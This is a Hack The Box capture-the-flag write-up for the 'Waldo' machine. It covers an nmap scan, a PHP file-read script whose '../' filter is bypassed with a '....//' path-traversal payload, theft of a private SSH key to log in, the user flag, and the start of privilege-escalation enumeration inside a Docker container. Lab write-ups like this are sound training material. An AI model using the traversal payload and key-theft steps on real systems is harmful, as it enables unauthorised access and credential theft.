

Hack The Box - Writeup

Waldo

Patrick Hener

October 25, 2018

Table of Content

Recon	3
nmap	3
Results of TCP Scan	3
Chromium	3
Burp	4
Initial Foothold - Get user.txt	5
Priv Esc - Get root.txt	7
LinEnum.sh	7

Recon

Recon starts with nmap.

nmap

```
sudo nmap -sSVC --min-rate 1000 -Pn -p- -vvv 10.10.10.87 -oA nmap
```

```
[..output ommitted ..]
```

```
22/tcp open      ssh                syn-ack ttl 63 OpenSSH 7.5 (protocol 2.0)
```

```
| ssh-hostkey:
```

```
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
```

```
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQACUBrGVTenfm2F4qteJkyDe6hVIFmu8bbhvIHpgyeurAI6685I
```

```
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
```

```
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOGNlwRr8whDd+I
```

```
|   256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
```

```
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILhvDtrIfnHWdGIA3ewprB+7ZA1wfv/PcQt0/vlNHaks
```

```
80/tcp open      http              syn-ack ttl 63 nginx 1.12.2
```

```
| http-methods:
```

```
|_ Supported Methods: GET HEAD POST
```

```
|_http-server-header: nginx/1.12.2
```

```
| http-title: List Manager
```

```
|_Requested resource was /list.html
```

```
|_http-trane-info: Problem with XML parsing of /evox/about
```

```
5355/tcp filtered llmnr                no-response
```

```
8888/tcp filtered sun-answerbook      no-response
```

Results of TCP Scan

Port	Status	Service
22/tcp	open	ssh
80/tcp	open	nginx 1.12.2
5355/tcp	filtered	llmnr?
8888/tcp	filtered	sun-answerbook?

Chromium

<http://10.10.10.87> shows a colorful picture and a view buttons to create lists and content and to delete those.



Attention is on the functions. Investigating the sources (*list.js*) you will find functions for reading and writing the files.

Burp

There is a ***Path Traversal-Vulnerability*** in *fileRead.php*

```
<?php
if($_SERVER['REQUEST_METHOD'] === "POST"){
    $fileContent['file'] = false;
    header('Content-Type: application/json');
    if(isset($_POST['file'])){
        header('Content-Type: application/json');
        t$_POST['file'] = str_replace( array("../", "..\\\\"), "", $_POST['file']);
        if(strpos($_POST['file'], "user.txt") === false){
            $file = fopen("/var/www/html/" . $_POST['file'], "r");
            $fileContent['file'] = fread($file,filesize($_POST['file']));
            tfclose();
        }
    }
    echo json_encode($fileContent);
}
```

A POST request to `http://10.10.10.87/fileRead.php` with a POST body of `file=....//....//....//etc/issue` will result in the file to be read.

Because `str_replace(array("../", "..\\\\"), "", $_POST['file']);` will replace `../` through nothing it will replace the middle part of `....//` with nothing, as well. Thus leaving a string of `../` which will then result in a path traversal.

As there is a filter statement which prohibits from reading the *user.txt* file directly.
The file at <http://10.10.10.87/dirRead.php> has the same issue.

Initial Foothold - Get user.txt

Strolling around directories and files you can identify a *RSA Private Key* at `/home/nobody/.ssh` called `.monitor`.

You have to search and replace `\n` to actual linebreak after reading the file via *fileRead.php*.

Keyfile must have permission set to `600` issueing `chmod 600 keyfile` to work.

ssh into the box `ssh -l nobody -i keyfile 10.10.10.87` and you will be able to view *user.txt*.

```
--- loot/waldo <master> » ssh -l nobody -i keyfile 10.10.10.87
[.. output ommited ..]
waldo:~$ cat user.txt
32768bcd7513275e085fd4e7b63e9d24
waldo:~$
```

```

--- loot/waldo <master> » ssh -l nobody -i keyfile 10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ whoami
nobody
waldo:~$ hostname
waldo
waldo:~$ ifconfig
docker0    Link encap:Ethernet  HWaddr 02:42:4D:5B:E1:46
            inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
            UP BROADCAST MULTICAST  MTU:1500  Metric:1
            RX packets:0 errors:0 dropped:0 overruns:0 frame:0
            TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ens33      Link encap:Ethernet  HWaddr 00:50:56:BF:8D:AD
            inet addr:10.10.10.87  Bcast:10.10.10.255  Mask:255.255.255.0
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:371756 errors:0 dropped:1 overruns:0 frame:0
            TX packets:290935 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:38394964 (36.6 MiB)  TX bytes:30779577 (29.3 MiB)

lo         Link encap:Local Loopback
            inet addr:127.0.0.1  Mask:255.0.0.0
            UP LOOPBACK RUNNING  MTU:65536  Metric:1
            RX packets:63840 errors:0 dropped:0 overruns:0 frame:0
            TX packets:63840 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1
            RX bytes:8222969 (7.8 MiB)  TX bytes:8222969 (7.8 MiB)

waldo:~$ cat user.txt
32768bcd7513275e085fd4e7b63e9d24
waldo:~$ |

```

Figure 1: User flag

Priv Esc - Get root.txt

Now for the fun part.

LinEnum.sh

The interesting parts of LinEnum might be the following:

[-] Listening TCP:

Active Internet connections (servers and established)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program
tcp	0	0	0.0.0.0:80	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:8888	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:9000	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:5355	0.0.0.0:*	LISTEN	-
tcp	0	192	10.10.10.87:8888	10.10.14.4:59862	ESTABLISHED	-
tcp	0	0	:::80	:::*	LISTEN	-
tcp	0	0	:::22	:::*	LISTEN	-
tcp	0	0	:::8888	:::*	LISTEN	-
tcp	0	0	:::5355	:::*	LISTEN	-

[-] Listening UDP:

Active Internet connections (servers and established)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program
udp	0	0	10.10.10.87:60405	10.10.10.2:53	ESTABLISHED	-
udp	0	0	127.0.0.53:53	0.0.0.0:*		-
udp	0	0	0.0.0.0:5355	0.0.0.0:*		-
udp	0	0	:::5355			

[+] Looks like we're in a Docker container:

```
10:pids:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
9:cpu,cpuacct:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
8:blkio:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
7:memory:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
6:net_cls,net_prio:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
5:perf_event:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
4:freezer:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
3:devices:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
2:cpuset:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
1:name=systemd:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd
-rwxr-xr-x    1 root    root          0 May  3 20:50 /.dockerenv
```